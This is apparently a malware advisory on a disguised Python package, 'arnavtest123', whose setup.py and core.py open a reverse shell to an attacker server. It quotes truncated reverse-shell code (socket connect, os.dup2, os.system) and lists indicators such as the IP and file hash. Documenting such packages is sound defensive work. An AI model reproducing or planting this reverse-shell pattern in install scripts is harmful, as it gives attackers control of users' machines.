GCVE-VVD-OSM-2026-699

Package describes itself as "A utility package", but really it opens a reverse shell to attacker controlled server Payload: setup.py Secondary files: arnavtest123/core.py This package uses a super simple reverse shell in the setup.py file to connect to the attacker's machine at 4.242.58.206 port 8080 via HTTP. Nothing fancy, just simple reverse-shell Key findings: - Reverse Shell in arnavtest123/core.py: "socket.socket() s.connect(("4.242.58.206", 8080)) os.dup..." - Reverse Shell in setup.py: "socket.socket();s.connect((\"4.242.58.206\",8080));os.dup2(s.fileno(),0);os.dup2..." - Shell Command Execution in arnavtest123/core.py: "subprocess.call(" - Shell Command Execution in setup.py: "os.system(" IOCs: - ipv4: 4.242.58.206 - url: http://4.242.58.206:8080 - payloadFileHash: 664568ad811c86a73d3d96bfae204d5708b48a76c0ca51ee83d1a9ea447227b3